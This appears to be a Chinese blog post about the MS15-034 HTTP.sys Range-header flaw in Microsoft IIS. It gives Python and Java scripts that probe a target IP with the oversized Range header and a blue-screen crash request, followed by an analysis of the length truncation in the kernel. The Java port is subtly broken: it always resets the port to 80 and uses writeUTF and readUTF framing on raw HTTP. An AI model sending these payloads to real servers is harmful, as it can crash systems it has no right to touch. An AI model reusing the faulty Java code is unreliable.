零、MS15-034POC核心部分(参考巡风):

 socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"
s.send(flag)
data = s.recv(1024)
s.close()
if 'Requested Range Not Satisfiable' in data and 'Server: Microsoft' in data:
print "vuln"

由于最近想学习java,所以修改了一版java的代码:

 /*
* encoding:utf-8
* Author:chenran01;
* Email:crsecscu@gmail.com
*/ //import lib packages
import java.net.Socket;
import java.util.Scanner;
import java.io.*; //define main class
public class HTTPSYS{
public static String IP_ADDR = "127.0.0.1";
public static int PORT = 80;
public static String Flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
//Flag is the payload
public static void main(String[] args){
System.out.print("Please input target IP:");
Scanner input = new Scanner(System.in);
IP_ADDR = input.next();
System.out.print("Please input target port:");
try{
PORT = System.in.read();
}catch(Exception ex){
System.out.printf("Error-Reason:%s",ex.toString());
}finally{
PORT = 80;
}
try{
Socket socket = new Socket(IP_ADDR,PORT);
//创建socket
DataInputStream socketrecv = new DataInputStream(socket.getInputStream());
DataOutputStream socketsend = new DataOutputStream(socket.getOutputStream());
//创建输入输出对象
socketsend.writeUTF(Flag);//发送payload
String response_content = socketrecv.readUTF();//获取回显
if(response_content.indexOf("Server: Microsoft") != -1 && response_content.indexOf("Requested Range Not Satisfiable") != -1){
System.out.print("有漏洞");
}else{
System.out.print("没有漏洞");
}
}catch(Exception ex){
System.out.printf("Error-Reason:%s",ex.toString());
} }
}

一、MS15-034 HTTP.sys漏洞原理考证:

原理部分参考:http://www.ijiandao.com/safe/cto/12821.html

 #举例:蓝屏POC
"""
GET /welcome.png HTTP/1.1
Host: PoC
Range: bytes=12345-18446744073709551615
"""

这个地方的Range字段在IIS内部HTTP!UlBuildFastRangeCacheMdlChain(用于生成响应报文的缓存MDL链,来描述HTTP响应的状态行、头部与消息体。)这个函数中会调用一次nt! IoBuildPartialMdl函数来生成MDL链。这这个函数里,会计算length这个值:

注意这里明确要求了由VirtualAddress与Length确定的区间必须是SourceMdl描述的缓冲区的一个自区间,正是对此要求的违反导致了此漏洞中的内存破坏。

第3次调用nt! IoBuildPartialMdl来生成消息体MDL时的参数如下:

SourceMdl = 0xfffffa801a38cb60
SourceMdl.VirtualAddress = 0xfffffa801ac94000
SourceMdl.ByteCount = 0x2d315
SourceMdl.ByteOffset = 0x0
TargetMdl = 0xfffffa801a2ed580
TargetMdl.VirtualAddress = 0xfffffa801ac97000
TargetMdl.ByteCount = 0xffffcfc7
TargetMdl.ByteOffset = 0x39
VirtualAddress = 0xfffffa801ac97039
Length = 0xffffcfc7

这里的Length是根据HTTP请求消息头部中的Range字段计算得到的,过程如下:

首先,在HTTP!UlpParseRange中对Range字段进行解析,得到RangeBegin、RangeEnd;
然后,计算RangeLength = RangeEnd – RangeBegin + 1;
最后,将RangeLength截断为32位得到Length。
以PoC中的Range: bytes=12345-18446744073709551615为例:
RangeBegin = 12345 = 0x3039
RangeEnd = 18446744073709551615 = 0xffffffffffffffff
RangeLength = 0xffffffffffffffff – 0x00003039 + 1 = 0xffffffffffffcfc7
Length = 0xffffcfc7
显然由于Length超长而导致违反了nt! IoBuildPartialMdl的要求,进而造成内存破坏。

微软 IIS HTTP.sys漏洞原理学习以及POC的更多相关文章

  1. IIS短文件名漏洞原理与挖掘思路

    首先来几个网址先了解一下 https://www.jb51.net/article/166405.htm https://www.freebuf.com/articles/web/172561.htm ...

  2. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  3. IIS原理学习

    IIS 原理学习 首先声明以下内容是我在网上搜索后整理的,在此只是进行记录,以备往后查阅只用. IIS 5.x介绍 IIS 5.x一个显著的特征就是Web Server和真正的ASP.NET Appl ...

  4. IIS写权限漏洞和XFF刷票原理

    IIS写权限漏洞 PUT写入漏洞 此漏洞主要是因为服务器开启了webdav的组件导致的 1.扫描漏洞,yes,可以PUT: 2.用老兵的工具上传一句话文件test.txt,然后move改名为shell ...

  5. SSH用户枚举漏洞(CVE-2018-15473)原理学习

    一.漏洞简介 1.漏洞编号和类型 CVE-2018-15473 SSH 用户名(USERNAME)暴力枚举漏洞 2.漏洞影响范围 OpenSSH 7.7及其以前版本 3.漏洞利用方式 由于SSH本身的 ...

  6. IIS的Unicode漏洞攻击

    IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞.微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令.当IIS打开文件 ...

  7. CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0

    关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...

  8. HTTP.sys漏洞验证及防护

    使用发包工具构造http请求包检测 以fiddler工具为例,构造如下图的请求包: 1 GET http://192.168.174.145/ HTTP/1.12 Host: 192.168.174. ...

  9. 利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞

    IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的 ...

随机推荐

  1. Yarn NodeManager restart

    一.介绍默认Yarn NodeManager重启后会断开所有当前正在运行的container的状态,这意味着重启后需要重新启动container进程,该特性的作用就是把NM的状态临时保存到本地,重启后 ...

  2. kill 的常用信号

    kill命令用于终止指定的进程(terminate a process),是Unix/Linux下进程管理的常用命令.通常,我们在需要终止某个或某些进程时,先使用ps/pidof/pstree/top ...

  3. linu 把文件中的字母小写转换为大写,大写转换为小写awk toupper tolower

    cat aa.txt|tr "[a-z]" "A-Z" [root@ob2 mytmp]# awk '{print toupper($0)}' aa2.txt ...

  4. iOS边练边学--自定义非等高的cell

    一.使用xib或者storyboard自定义非等高的cell实现方式差不多,这里简单介绍一下通过xib文件实现的方法 <1.1>创建一个继承自UITableViewCell的子类,比如Ch ...

  5. 基于Struts2.3.x+Spring3.2.x+Hibernate4.2.x+EasyUI1.3.4+Maven架构的示例程序

    基于Struts2.3.x+Spring3.2.x+Hibernate4.2.x+EasyUI1.3.4+Maven架构的示例程序 不知道为什么,保存的时候显示有一个连接为违禁内容,可能是…………. ...

  6. javascript 复制与粘贴操作

    <script language="javascript"> function readTxt() { alert(window.clipboardData.getDa ...

  7. 使用 jQuery UI 和 jQuery 插件构建更好的 Web 应用程序

    简介: 对于那些使用 JavaScript 和 jQuery 库从桌面应用程序转向 Web 应用程序的开发人员来说,他们还不习惯去考虑应用程序基本的外观,因为这些以前都是由操作系统来处理的.了解 jQ ...

  8. 关于Cocos2d-x的瓦片地图

    1.cocos2d-x的瓦片地图是用Tiled地图编辑器做的,这个软件开源,免费,一般都是用它制作瓦片地图. 2.瓦片地图是由块层和对象组成的,块层的作用是显示和一些重叠的时候覆盖角色的作用,而对象是 ...

  9. Mastering the game of Go with deep neural networks and tree search浅析

    Silver, David, et al. "Mastering the game of Go with deep neural networks and tree search." ...

  10. Navicat连接Oracle11g 错误的解决办法

    一.换成32位的Navicat!!! 二.去Oracle官网下载你要连接数据版本的client. 注意:需要下载两个文件,以11.2.0.4.0版本为例,需要下载 instantclient-sqlp ...